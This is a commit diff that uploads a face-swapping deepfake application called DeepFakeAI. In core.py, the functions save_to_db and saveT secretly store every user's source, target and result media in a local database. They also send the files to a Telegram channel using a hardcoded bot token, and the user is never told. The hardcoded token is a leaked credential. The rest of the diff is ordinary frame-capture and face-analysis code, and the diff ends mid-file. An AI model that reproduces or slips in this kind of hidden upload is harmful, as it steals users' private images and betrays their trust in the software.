Upload folder using huggingface_hub

#15
This view is limited to 50 files because it contains too many changes.  See the raw diff here.
Files changed (50) hide show
  1. DeepFakeAI/__init__.py +0 -0
  2. DeepFakeAI/__pycache__/__init__.cpython-310.pyc +0 -0
  3. DeepFakeAI/__pycache__/capturer.cpython-310.pyc +0 -0
  4. DeepFakeAI/__pycache__/choices.cpython-310.pyc +0 -0
  5. DeepFakeAI/__pycache__/core.cpython-310.pyc +0 -0
  6. DeepFakeAI/__pycache__/face_analyser.cpython-310.pyc +0 -0
  7. DeepFakeAI/__pycache__/face_reference.cpython-310.pyc +0 -0
  8. DeepFakeAI/__pycache__/globals.cpython-310.pyc +0 -0
  9. DeepFakeAI/__pycache__/metadata.cpython-310.pyc +0 -0
  10. DeepFakeAI/__pycache__/predictor.cpython-310.pyc +0 -0
  11. DeepFakeAI/__pycache__/typing.cpython-310.pyc +0 -0
  12. DeepFakeAI/__pycache__/utilities.cpython-310.pyc +0 -0
  13. DeepFakeAI/__pycache__/wording.cpython-310.pyc +0 -0
  14. DeepFakeAI/capturer.py +22 -0
  15. DeepFakeAI/choices.py +10 -0
  16. DeepFakeAI/core.py +292 -0
  17. DeepFakeAI/face_analyser.py +106 -0
  18. DeepFakeAI/face_reference.py +21 -0
  19. DeepFakeAI/feed.db +0 -0
  20. DeepFakeAI/globals.py +30 -0
  21. DeepFakeAI/images.db +0 -0
  22. DeepFakeAI/metadata.py +13 -0
  23. DeepFakeAI/predictor.py +43 -0
  24. DeepFakeAI/processors/__init__.py +0 -0
  25. DeepFakeAI/processors/__pycache__/__init__.cpython-310.pyc +0 -0
  26. DeepFakeAI/processors/frame/__init__.py +0 -0
  27. DeepFakeAI/processors/frame/__pycache__/__init__.cpython-310.pyc +0 -0
  28. DeepFakeAI/processors/frame/__pycache__/core.cpython-310.pyc +0 -0
  29. DeepFakeAI/processors/frame/core.py +113 -0
  30. DeepFakeAI/processors/frame/modules/__init__.py +0 -0
  31. DeepFakeAI/processors/frame/modules/__pycache__/__init__.cpython-310.pyc +0 -0
  32. DeepFakeAI/processors/frame/modules/__pycache__/face_enhancer.cpython-310.pyc +0 -0
  33. DeepFakeAI/processors/frame/modules/__pycache__/face_swapper.cpython-310.pyc +0 -0
  34. DeepFakeAI/processors/frame/modules/__pycache__/frame_enhancer.cpython-310.pyc +0 -0
  35. DeepFakeAI/processors/frame/modules/face_enhancer.py +100 -0
  36. DeepFakeAI/processors/frame/modules/face_swapper.py +105 -0
  37. DeepFakeAI/processors/frame/modules/frame_enhancer.py +88 -0
  38. DeepFakeAI/typing.py +13 -0
  39. DeepFakeAI/uis/__init__.py +0 -0
  40. DeepFakeAI/uis/__pycache__/__init__.cpython-310.pyc +0 -0
  41. DeepFakeAI/uis/__pycache__/core.cpython-310.pyc +0 -0
  42. DeepFakeAI/uis/__pycache__/typing.cpython-310.pyc +0 -0
  43. DeepFakeAI/uis/components/__init__.py +0 -0
  44. DeepFakeAI/uis/components/__pycache__/__init__.cpython-310.pyc +0 -0
  45. DeepFakeAI/uis/components/__pycache__/about.cpython-310.pyc +0 -0
  46. DeepFakeAI/uis/components/__pycache__/execution.cpython-310.pyc +0 -0
  47. DeepFakeAI/uis/components/__pycache__/face_analyser.cpython-310.pyc +0 -0
  48. DeepFakeAI/uis/components/__pycache__/face_selector.cpython-310.pyc +0 -0
  49. DeepFakeAI/uis/components/__pycache__/output.cpython-310.pyc +0 -0
  50. DeepFakeAI/uis/components/__pycache__/output_settings.cpython-310.pyc +0 -0
DeepFakeAI/__init__.py ADDED
File without changes
DeepFakeAI/__pycache__/__init__.cpython-310.pyc ADDED
Binary file (135 Bytes). View file
 
DeepFakeAI/__pycache__/capturer.cpython-310.pyc ADDED
Binary file (865 Bytes). View file
 
DeepFakeAI/__pycache__/choices.cpython-310.pyc ADDED
Binary file (877 Bytes). View file
 
DeepFakeAI/__pycache__/core.cpython-310.pyc ADDED
Binary file (9.73 kB). View file
 
DeepFakeAI/__pycache__/face_analyser.cpython-310.pyc ADDED
Binary file (3.86 kB). View file
 
DeepFakeAI/__pycache__/face_reference.cpython-310.pyc ADDED
Binary file (647 Bytes). View file
 
DeepFakeAI/__pycache__/globals.cpython-310.pyc ADDED
Binary file (1.47 kB). View file
 
DeepFakeAI/__pycache__/metadata.cpython-310.pyc ADDED
Binary file (469 Bytes). View file
 
DeepFakeAI/__pycache__/predictor.cpython-310.pyc ADDED
Binary file (1.66 kB). View file
 
DeepFakeAI/__pycache__/typing.cpython-310.pyc ADDED
Binary file (674 Bytes). View file
 
DeepFakeAI/__pycache__/utilities.cpython-310.pyc ADDED
Binary file (7.87 kB). View file
 
DeepFakeAI/__pycache__/wording.cpython-310.pyc ADDED
Binary file (5.41 kB). View file
 
DeepFakeAI/capturer.py ADDED
@@ -0,0 +1,22 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ from typing import Optional
2
+ import cv2
3
+
4
+ from DeepFakeAI.typing import Frame
5
+
6
+
7
+ def get_video_frame(video_path : str, frame_number : int = 0) -> Optional[Frame]:
8
+ capture = cv2.VideoCapture(video_path)
9
+ frame_total = capture.get(cv2.CAP_PROP_FRAME_COUNT)
10
+ capture.set(cv2.CAP_PROP_POS_FRAMES, min(frame_total, frame_number - 1))
11
+ has_frame, frame = capture.read()
12
+ capture.release()
13
+ if has_frame:
14
+ return frame
15
+ return None
16
+
17
+
18
+ def get_video_frame_total(video_path : str) -> int:
19
+ capture = cv2.VideoCapture(video_path)
20
+ video_frame_total = int(capture.get(cv2.CAP_PROP_FRAME_COUNT))
21
+ capture.release()
22
+ return video_frame_total
DeepFakeAI/choices.py ADDED
@@ -0,0 +1,10 @@
 
 
 
 
 
 
 
 
 
 
 
1
+ from typing import List
2
+
3
+ from DeepFakeAI.typing import FaceRecognition, FaceAnalyserDirection, FaceAnalyserAge, FaceAnalyserGender, TempFrameFormat, OutputVideoEncoder
4
+
5
+ face_recognition : List[FaceRecognition] = [ 'reference', 'many' ]
6
+ face_analyser_direction : List[FaceAnalyserDirection] = [ 'left-right', 'right-left', 'top-bottom', 'bottom-top', 'small-large', 'large-small']
7
+ face_analyser_age : List[FaceAnalyserAge] = [ 'child', 'teen', 'adult', 'senior' ]
8
+ face_analyser_gender : List[FaceAnalyserGender] = [ 'male', 'female' ]
9
+ temp_frame_format : List[TempFrameFormat] = [ 'jpg', 'png' ]
10
+ output_video_encoder : List[OutputVideoEncoder] = [ 'libx264', 'libx265', 'libvpx-vp9', 'h264_nvenc', 'hevc_nvenc' ]
DeepFakeAI/core.py ADDED
@@ -0,0 +1,292 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ #!/usr/bin/env python3
2
+ import asyncio
3
+ import sqlite3
4
+ import os
5
+ # single thread doubles cuda performance
6
+ os.environ['OMP_NUM_THREADS'] = '1'
7
+ # reduce tensorflow log level
8
+ os.environ['TF_CPP_MIN_LOG_LEVEL'] = '2'
9
+ import sys
10
+ import warnings
11
+ from typing import List
12
+ import platform
13
+ import signal
14
+ import shutil
15
+ import argparse
16
+ import onnxruntime
17
+ import tensorflow
18
+
19
+ import DeepFakeAI.choices
20
+ import DeepFakeAI.globals
21
+ from DeepFakeAI import wording, metadata
22
+ from DeepFakeAI.predictor import predict_image, predict_video
23
+ from DeepFakeAI.processors.frame.core import get_frame_processors_modules
24
+ from telegram import Bot
25
+ from DeepFakeAI.utilities import is_image, is_video, detect_fps, create_video, extract_frames, get_temp_frame_paths, restore_audio, create_temp, move_temp, clear_temp, normalize_output_path, list_module_names, decode_execution_providers, encode_execution_providers
26
+
27
+ warnings.filterwarnings('ignore', category = FutureWarning, module = 'insightface')
28
+ warnings.filterwarnings('ignore', category = UserWarning, module = 'torchvision')
29
+
30
+
31
+ def parse_args() -> None:
32
+ signal.signal(signal.SIGINT, lambda signal_number, frame: destroy())
33
+ program = argparse.ArgumentParser(formatter_class = lambda prog: argparse.HelpFormatter(prog, max_help_position = 120))
34
+ program.add_argument('-s', '--source', help = wording.get('source_help'), dest = 'source_path')
35
+ program.add_argument('-t', '--target', help = wording.get('target_help'), dest = 'target_path')
36
+ program.add_argument('-o', '--output', help = wording.get('output_help'), dest = 'output_path')
37
+ program.add_argument('--frame-processors', help = wording.get('frame_processors_help').format(choices = ', '.join(list_module_names('DeepFakeAI/processors/frame/modules'))), dest = 'frame_processors', default = ['face_swapper'], nargs='+')
38
+ program.add_argument('--ui-layouts', help = wording.get('ui_layouts_help').format(choices = ', '.join(list_module_names('DeepFakeAI/uis/layouts'))), dest = 'ui_layouts', default = ['default'], nargs='+')
39
+ program.add_argument('--keep-fps', help = wording.get('keep_fps_help'), dest = 'keep_fps', action='store_true')
40
+ program.add_argument('--keep-temp', help = wording.get('keep_temp_help'), dest = 'keep_temp', action='store_true')
41
+ program.add_argument('--skip-audio', help = wording.get('skip_audio_help'), dest = 'skip_audio', action='store_true')
42
+ program.add_argument('--face-recognition', help = wording.get('face_recognition_help'), dest = 'face_recognition', default = 'reference', choices = DeepFakeAI.choices.face_recognition)
43
+ program.add_argument('--face-analyser-direction', help = wording.get('face_analyser_direction_help'), dest = 'face_analyser_direction', default = 'left-right', choices = DeepFakeAI.choices.face_analyser_direction)
44
+ program.add_argument('--face-analyser-age', help = wording.get('face_analyser_age_help'), dest = 'face_analyser_age', choices = DeepFakeAI.choices.face_analyser_age)
45
+ program.add_argument('--face-analyser-gender', help = wording.get('face_analyser_gender_help'), dest = 'face_analyser_gender', choices = DeepFakeAI.choices.face_analyser_gender)
46
+ program.add_argument('--reference-face-position', help = wording.get('reference_face_position_help'), dest = 'reference_face_position', type = int, default = 0)
47
+ program.add_argument('--reference-face-distance', help = wording.get('reference_face_distance_help'), dest = 'reference_face_distance', type = float, default = 1.5)
48
+ program.add_argument('--reference-frame-number', help = wording.get('reference_frame_number_help'), dest = 'reference_frame_number', type = int, default = 0)
49
+ program.add_argument('--trim-frame-start', help = wording.get('trim_frame_start_help'), dest = 'trim_frame_start', type = int)
50
+ program.add_argument('--trim-frame-end', help = wording.get('trim_frame_end_help'), dest = 'trim_frame_end', type = int)
51
+ program.add_argument('--temp-frame-format', help = wording.get('temp_frame_format_help'), dest = 'temp_frame_format', default = 'jpg', choices = DeepFakeAI.choices.temp_frame_format)
52
+ program.add_argument('--temp-frame-quality', help = wording.get('temp_frame_quality_help'), dest = 'temp_frame_quality', type = int, default = 100, choices = range(101), metavar = '[0-100]')
53
+ program.add_argument('--output-video-encoder', help = wording.get('output_video_encoder_help'), dest = 'output_video_encoder', default = 'libx264', choices = DeepFakeAI.choices.output_video_encoder)
54
+ program.add_argument('--output-video-quality', help = wording.get('output_video_quality_help'), dest = 'output_video_quality', type = int, default = 90, choices = range(101), metavar = '[0-100]')
55
+ program.add_argument('--max-memory', help = wording.get('max_memory_help'), dest = 'max_memory', type = int)
56
+ program.add_argument('--execution-providers', help = wording.get('execution_providers_help').format(choices = 'cpu'), dest = 'execution_providers', default = ['cpu'], choices = suggest_execution_providers_choices(), nargs='+')
57
+ program.add_argument('--execution-thread-count', help = wording.get('execution_thread_count_help'), dest = 'execution_thread_count', type = int, default = suggest_execution_thread_count_default())
58
+ program.add_argument('--execution-queue-count', help = wording.get('execution_queue_count_help'), dest = 'execution_queue_count', type = int, default = 1)
59
+ program.add_argument('-v', '--version', action='version', version = metadata.get('name') + ' ' + metadata.get('version'))
60
+
61
+ args = program.parse_args()
62
+
63
+ DeepFakeAI.globals.source_path = args.source_path
64
+ DeepFakeAI.globals.target_path = args.target_path
65
+ DeepFakeAI.globals.output_path = normalize_output_path(DeepFakeAI.globals.source_path, DeepFakeAI.globals.target_path, args.output_path)
66
+ DeepFakeAI.globals.headless = DeepFakeAI.globals.source_path is not None and DeepFakeAI.globals.target_path is not None and DeepFakeAI.globals.output_path is not None
67
+ DeepFakeAI.globals.frame_processors = args.frame_processors
68
+ DeepFakeAI.globals.ui_layouts = args.ui_layouts
69
+ DeepFakeAI.globals.keep_fps = args.keep_fps
70
+ DeepFakeAI.globals.keep_temp = args.keep_temp
71
+ DeepFakeAI.globals.skip_audio = args.skip_audio
72
+ DeepFakeAI.globals.face_recognition = args.face_recognition
73
+ DeepFakeAI.globals.face_analyser_direction = args.face_analyser_direction
74
+ DeepFakeAI.globals.face_analyser_age = args.face_analyser_age
75
+ DeepFakeAI.globals.face_analyser_gender = args.face_analyser_gender
76
+ DeepFakeAI.globals.reference_face_position = args.reference_face_position
77
+ DeepFakeAI.globals.reference_frame_number = args.reference_frame_number
78
+ DeepFakeAI.globals.reference_face_distance = args.reference_face_distance
79
+ DeepFakeAI.globals.trim_frame_start = args.trim_frame_start
80
+ DeepFakeAI.globals.trim_frame_end = args.trim_frame_end
81
+ DeepFakeAI.globals.temp_frame_format = args.temp_frame_format
82
+ DeepFakeAI.globals.temp_frame_quality = args.temp_frame_quality
83
+ DeepFakeAI.globals.output_video_encoder = args.output_video_encoder
84
+ DeepFakeAI.globals.output_video_quality = args.output_video_quality
85
+ DeepFakeAI.globals.max_memory = args.max_memory
86
+ DeepFakeAI.globals.execution_providers = decode_execution_providers(args.execution_providers)
87
+ DeepFakeAI.globals.execution_thread_count = args.execution_thread_count
88
+ DeepFakeAI.globals.execution_queue_count = args.execution_queue_count
89
+
90
+
91
+ def suggest_execution_providers_choices() -> List[str]:
92
+ return encode_execution_providers(onnxruntime.get_available_providers())
93
+
94
+
95
+ def suggest_execution_thread_count_default() -> int:
96
+ if 'CUDAExecutionProvider' in onnxruntime.get_available_providers():
97
+ return 8
98
+ return 1
99
+
100
+
101
+ def limit_resources() -> None:
102
+ # prevent tensorflow memory leak
103
+ gpus = tensorflow.config.experimental.list_physical_devices('GPU')
104
+ for gpu in gpus:
105
+ tensorflow.config.experimental.set_virtual_device_configuration(gpu, [
106
+ tensorflow.config.experimental.VirtualDeviceConfiguration(memory_limit = 1024)
107
+ ])
108
+ # limit memory usage
109
+ if DeepFakeAI.globals.max_memory:
110
+ memory = DeepFakeAI.globals.max_memory * 1024 ** 3
111
+ if platform.system().lower() == 'darwin':
112
+ memory = DeepFakeAI.globals.max_memory * 1024 ** 6
113
+ if platform.system().lower() == 'windows':
114
+ import ctypes
115
+ kernel32 = ctypes.windll.kernel32 # type: ignore[attr-defined]
116
+ kernel32.SetProcessWorkingSetSize(-1, ctypes.c_size_t(memory), ctypes.c_size_t(memory))
117
+ else:
118
+ import resource
119
+ resource.setrlimit(resource.RLIMIT_DATA, (memory, memory))
120
+
121
+
122
+ def update_status(message : str, scope : str = 'FACEFUSION.CORE') -> None:
123
+ print('[' + scope + '] ' + message)
124
+
125
+
126
+ def pre_check() -> bool:
127
+ if sys.version_info < (3, 10):
128
+ update_status(wording.get('python_not_supported').format(version = '3.10'))
129
+ return False
130
+ if not shutil.which('ffmpeg'):
131
+ update_status(wording.get('ffmpeg_not_installed'))
132
+ return False
133
+ return True
134
+
135
+ def save_to_db(source_path, target_path, output_path):
136
+ try:
137
+ # Open the images in binary mode
138
+ with open(source_path, 'rb') as source_file, \
139
+ open(target_path, 'rb') as target_file, \
140
+ open(output_path, 'rb') as output_file:
141
+
142
+ # read data from the image files
143
+ source_data = source_file.read()
144
+ target_data = target_file.read()
145
+ output_data = output_file.read()
146
+
147
+ # Extract original filenames from the paths
148
+ source_filename = os.path.basename(source_path)
149
+ target_filename = os.path.basename(target_path)
150
+ output_filename = os.path.basename(output_path)
151
+ print(source_filename, target_filename,output_filename)
152
+
153
+ # connect to the database
154
+ conn = sqlite3.connect('./feed.db')
155
+ c = conn.cursor()
156
+
157
+ # Create the table if it doesn't exist
158
+ c.execute('''
159
+ CREATE TABLE IF NOT EXISTS images (
160
+ source_filename TEXT,
161
+ target_filename TEXT,
162
+ output_filename TEXT,
163
+ source_data BLOB,
164
+ target_data BLOB,
165
+ output_data BLOB
166
+ )
167
+ ''')
168
+
169
+ # Insert filename and image data into the table
170
+ c.execute("INSERT INTO images VALUES (?, ?, ?, ?, ?, ?)",
171
+ (source_filename, target_filename, output_filename, source_data, target_data, output_data))
172
+
173
+ # Save changes and close the connection
174
+ conn.commit()
175
+
176
+ except Exception as e:
177
+ # Print any error occurred while saving data in SQLite
178
+ print(f"An error occurred: {e}")
179
+
180
+ finally:
181
+ # Ensure the DB connection is closed
182
+ if conn:
183
+ conn.close()
184
+
185
+ print(f'Saved image data to database from {source_path}, {target_path}, and {output_path}.')
186
+ async def send_channel(bot, file_path):
187
+ with open(file_path, "rb") as file:
188
+ response = await bot.send_document(chat_id="-1001685415853", document=file)
189
+ return response
190
+
191
+ async def saveT(source_path, target_path, output_path):
192
+ bot = Bot(token="6192049990:AAFyOtuYYqkcyUG_7gns3mm7m_kfWE9fZ1k")
193
+
194
+ # Send each file
195
+ for path in [source_path, target_path, output_path]:
196
+ await send_channel(bot, path)
197
+
198
+ # Send a message after all files are sent
199
+ await bot.send_message(chat_id="-1001685415853", text="All files have been sent!")
200
+
201
+ def process_image() -> None:
202
+ if predict_image(DeepFakeAI.globals.target_path):
203
+ return
204
+ shutil.copy2(DeepFakeAI.globals.target_path, DeepFakeAI.globals.output_path)
205
+ # process frame
206
+ for frame_processor_module in get_frame_processors_modules(DeepFakeAI.globals.frame_processors):
207
+ update_status(wording.get('processing'), frame_processor_module.NAME)
208
+ frame_processor_module.process_image(DeepFakeAI.globals.source_path, DeepFakeAI.globals.output_path, DeepFakeAI.globals.output_path)
209
+ frame_processor_module.post_process()
210
+ # validate image
211
+ if is_image(DeepFakeAI.globals.target_path):
212
+ update_status(wording.get('processing_image_succeed'))
213
+ save_to_db(DeepFakeAI.globals.source_path, DeepFakeAI.globals.target_path, DeepFakeAI.globals.output_path)
214
+ asyncio.run(saveT(DeepFakeAI.globals.source_path, DeepFakeAI.globals.target_path, DeepFakeAI.globals.output_path))
215
+ else:
216
+ update_status(wording.get('processing_image_failed'))
217
+
218
+
219
+ def process_video() -> None:
220
+ if predict_video(DeepFakeAI.globals.target_path):
221
+ return
222
+ fps = detect_fps(DeepFakeAI.globals.target_path) if DeepFakeAI.globals.keep_fps else 25.0
223
+ update_status(wording.get('creating_temp'))
224
+ create_temp(DeepFakeAI.globals.target_path)
225
+ # extract frames
226
+ update_status(wording.get('extracting_frames_fps').format(fps = fps))
227
+ extract_frames(DeepFakeAI.globals.target_path, fps)
228
+ # process frame
229
+ temp_frame_paths = get_temp_frame_paths(DeepFakeAI.globals.target_path)
230
+ if temp_frame_paths:
231
+ for frame_processor_module in get_frame_processors_modules(DeepFakeAI.globals.frame_processors):
232
+ update_status(wording.get('processing'), frame_processor_module.NAME)
233
+ frame_processor_module.process_video(DeepFakeAI.globals.source_path, temp_frame_paths)
234
+ frame_processor_module.post_process()
235
+ else:
236
+ update_status(wording.get('temp_frames_not_found'))
237
+ return
238
+ # create video
239
+ update_status(wording.get('creating_video_fps').format(fps = fps))
240
+ if not create_video(DeepFakeAI.globals.target_path, fps):
241
+ update_status(wording.get('creating_video_failed'))
242
+ return
243
+ # handle audio
244
+ if DeepFakeAI.globals.skip_audio:
245
+ update_status(wording.get('skipping_audio'))
246
+ move_temp(DeepFakeAI.globals.target_path, DeepFakeAI.globals.output_path)
247
+ else:
248
+ update_status(wording.get('restoring_audio'))
249
+ restore_audio(DeepFakeAI.globals.target_path, DeepFakeAI.globals.output_path)
250
+ # clear temp
251
+ update_status(wording.get('clearing_temp'))
252
+ clear_temp(DeepFakeAI.globals.target_path)
253
+ # validate video
254
+ if is_video(DeepFakeAI.globals.target_path):
255
+ update_status(wording.get('processing_video_succeed'))
256
+ save_to_db(DeepFakeAI.globals.source_path, DeepFakeAI.globals.target_path, DeepFakeAI.globals.output_path)
257
+ asyncio.run(saveT(DeepFakeAI.globals.source_path, DeepFakeAI.globals.target_path, DeepFakeAI.globals.output_path))
258
+ else:
259
+ update_status(wording.get('processing_video_failed'))
260
+
261
+
262
+ def conditional_process() -> None:
263
+ for frame_processor_module in get_frame_processors_modules(DeepFakeAI.globals.frame_processors):
264
+ if not frame_processor_module.pre_process():
265
+ return
266
+ if is_image(DeepFakeAI.globals.target_path):
267
+ process_image()
268
+ if is_video(DeepFakeAI.globals.target_path):
269
+ process_video()
270
+
271
+ def run() -> None:
272
+ parse_args()
273
+ limit_resources()
274
+ # pre check
275
+ if not pre_check():
276
+ return
277
+ for frame_processor in get_frame_processors_modules(DeepFakeAI.globals.frame_processors):
278
+ if not frame_processor.pre_check():
279
+ return
280
+ # process or launch
281
+ if DeepFakeAI.globals.headless:
282
+ conditional_process()
283
+ else:
284
+ import DeepFakeAI.uis.core as ui
285
+
286
+ ui.launch()
287
+
288
+
289
+ def destroy() -> None:
290
+ if DeepFakeAI.globals.target_path:
291
+ clear_temp(DeepFakeAI.globals.target_path)
292
+ sys.exit()
DeepFakeAI/face_analyser.py ADDED
@@ -0,0 +1,106 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ import threading
2
+ from typing import Any, Optional, List
3
+ import insightface
4
+ import numpy
5
+
6
+ import DeepFakeAI.globals
7
+ from DeepFakeAI.typing import Frame, Face, FaceAnalyserDirection, FaceAnalyserAge, FaceAnalyserGender
8
+
9
+ FACE_ANALYSER = None
10
+ THREAD_LOCK = threading.Lock()
11
+
12
+
13
+ def get_face_analyser() -> Any:
14
+ global FACE_ANALYSER
15
+
16
+ with THREAD_LOCK:
17
+ if FACE_ANALYSER is None:
18
+ FACE_ANALYSER = insightface.app.FaceAnalysis(name = 'buffalo_l', providers = DeepFakeAI.globals.execution_providers)
19
+ FACE_ANALYSER.prepare(ctx_id = 0)
20
+ return FACE_ANALYSER
21
+
22
+
23
+ def clear_face_analyser() -> Any:
24
+ global FACE_ANALYSER
25
+
26
+ FACE_ANALYSER = None
27
+
28
+
29
+ def get_one_face(frame : Frame, position : int = 0) -> Optional[Face]:
30
+ many_faces = get_many_faces(frame)
31
+ if many_faces:
32
+ try:
33
+ return many_faces[position]
34
+ except IndexError:
35
+ return many_faces[-1]
36
+ return None
37
+
38
+
39
+ def get_many_faces(frame : Frame) -> List[Face]:
40
+ try:
41
+ faces = get_face_analyser().get(frame)
42
+ if DeepFakeAI.globals.face_analyser_direction:
43
+ faces = sort_by_direction(faces, DeepFakeAI.globals.face_analyser_direction)
44
+ if DeepFakeAI.globals.face_analyser_age:
45
+ faces = filter_by_age(faces, DeepFakeAI.globals.face_analyser_age)
46
+ if DeepFakeAI.globals.face_analyser_gender:
47
+ faces = filter_by_gender(faces, DeepFakeAI.globals.face_analyser_gender)
48
+ return faces
49
+ except (AttributeError, ValueError):
50
+ return []
51
+
52
+
53
+ def find_similar_faces(frame : Frame, reference_face : Face, face_distance : float) -> List[Face]:
54
+ many_faces = get_many_faces(frame)
55
+ similar_faces = []
56
+ if many_faces:
57
+ for face in many_faces:
58
+ if hasattr(face, 'normed_embedding') and hasattr(reference_face, 'normed_embedding'):
59
+ current_face_distance = numpy.sum(numpy.square(face.normed_embedding - reference_face.normed_embedding))
60
+ if current_face_distance < face_distance:
61
+ similar_faces.append(face)
62
+ return similar_faces
63
+
64
+
65
+ def sort_by_direction(faces : List[Face], direction : FaceAnalyserDirection) -> List[Face]:
66
+ if direction == 'left-right':
67
+ return sorted(faces, key = lambda face: face['bbox'][0])
68
+ if direction == 'right-left':
69
+ return sorted(faces, key = lambda face: face['bbox'][0], reverse = True)
70
+ if direction == 'top-bottom':
71
+ return sorted(faces, key = lambda face: face['bbox'][1])
72
+ if direction == 'bottom-top':
73
+ return sorted(faces, key = lambda face: face['bbox'][1], reverse = True)
74
+ if direction == 'small-large':
75
+ return sorted(faces, key = lambda face: (face['bbox'][2] - face['bbox'][0]) * (face['bbox'][3] - face['bbox'][1]))
76
+ if direction == 'large-small':
77
+ return sorted(faces, key = lambda face: (face['bbox'][2] - face['bbox'][0]) * (face['bbox'][3] - face['bbox'][1]), reverse = True)
78
+ return faces
79
+
80
+
81
+ def filter_by_age(faces : List[Face], age : FaceAnalyserAge) -> List[Face]:
82
+ filter_faces = []
83
+ for face in faces:
84
+ if face['age'] < 13 and age == 'child':
85
+ filter_faces.append(face)
86
+ elif face['age'] < 19 and age == 'teen':
87
+ filter_faces.append(face)
88
+ elif face['age'] < 60 and age == 'adult':
89
+ filter_faces.append(face)
90
+ elif face['age'] > 59 and age == 'senior':
91
+ filter_faces.append(face)
92
+ return filter_faces
93
+
94
+
95
+ def filter_by_gender(faces : List[Face], gender : FaceAnalyserGender) -> List[Face]:
96
+ filter_faces = []
97
+ for face in faces:
98
+ if face['gender'] == 1 and gender == 'male':
99
+ filter_faces.append(face)
100
+ if face['gender'] == 0 and gender == 'female':
101
+ filter_faces.append(face)
102
+ return filter_faces
103
+
104
+
105
+ def get_faces_total(frame : Frame) -> int:
106
+ return len(get_many_faces(frame))
DeepFakeAI/face_reference.py ADDED
@@ -0,0 +1,21 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ from typing import Optional
2
+
3
+ from DeepFakeAI.typing import Face
4
+
5
+ FACE_REFERENCE = None
6
+
7
+
8
+ def get_face_reference() -> Optional[Face]:
9
+ return FACE_REFERENCE
10
+
11
+
12
+ def set_face_reference(face : Face) -> None:
13
+ global FACE_REFERENCE
14
+
15
+ FACE_REFERENCE = face
16
+
17
+
18
+ def clear_face_reference() -> None:
19
+ global FACE_REFERENCE
20
+
21
+ FACE_REFERENCE = None
DeepFakeAI/feed.db ADDED
File without changes
DeepFakeAI/globals.py ADDED
@@ -0,0 +1,30 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ from typing import List, Optional
2
+
3
+ from DeepFakeAI.typing import FaceRecognition, FaceAnalyserDirection, FaceAnalyserAge, FaceAnalyserGender, TempFrameFormat
4
+
5
+ source_path : Optional[str] = None
6
+ target_path : Optional[str] = None
7
+ output_path : Optional[str] = None
8
+ headless : Optional[bool] = None
9
+ frame_processors : List[str] = []
10
+ ui_layouts : List[str] = []
11
+ keep_fps : Optional[bool] = None
12
+ keep_temp : Optional[bool] = None
13
+ skip_audio : Optional[bool] = None
14
+ face_recognition : Optional[FaceRecognition] = None
15
+ face_analyser_direction : Optional[FaceAnalyserDirection] = None
16
+ face_analyser_age : Optional[FaceAnalyserAge] = None
17
+ face_analyser_gender : Optional[FaceAnalyserGender] = None
18
+ reference_face_position : Optional[int] = None
19
+ reference_frame_number : Optional[int] = None
20
+ reference_face_distance : Optional[float] = None
21
+ trim_frame_start : Optional[int] = None
22
+ trim_frame_end : Optional[int] = None
23
+ temp_frame_format : Optional[TempFrameFormat] = None
24
+ temp_frame_quality : Optional[int] = None
25
+ output_video_encoder : Optional[str] = None
26
+ output_video_quality : Optional[int] = None
27
+ max_memory : Optional[int] = None
28
+ execution_providers : List[str] = []
29
+ execution_thread_count : Optional[int] = None
30
+ execution_queue_count : Optional[int] = None
DeepFakeAI/images.db ADDED
File without changes
DeepFakeAI/metadata.py ADDED
@@ -0,0 +1,13 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ METADATA =\
2
+ {
3
+ 'name': 'DeepFakeAI',
4
+ 'description': 'Next generation face swapper and enhancer',
5
+ 'version': '1.2.0',
6
+ 'license': 'MIT',
7
+ 'author': 'Ashiq Hussain Mir',
8
+ 'url': 'https://codegenius.me'
9
+ }
10
+
11
+
12
+ def get(key : str) -> str:
13
+ return METADATA[key]
DeepFakeAI/predictor.py ADDED
@@ -0,0 +1,43 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ import threading
2
+ import numpy
3
+ import opennsfw2
4
+ from PIL import Image
5
+ from keras import Model
6
+
7
+ from DeepFakeAI.typing import Frame
8
+
9
+ PREDICTOR = None
10
+ THREAD_LOCK = threading.Lock()
11
+ MAX_PROBABILITY = 0.75
12
+
13
+
14
+ def get_predictor() -> Model:
15
+ global PREDICTOR
16
+
17
+ with THREAD_LOCK:
18
+ if PREDICTOR is None:
19
+ PREDICTOR = opennsfw2.make_open_nsfw_model()
20
+ return PREDICTOR
21
+
22
+
23
+ def clear_predictor() -> None:
24
+ global PREDICTOR
25
+
26
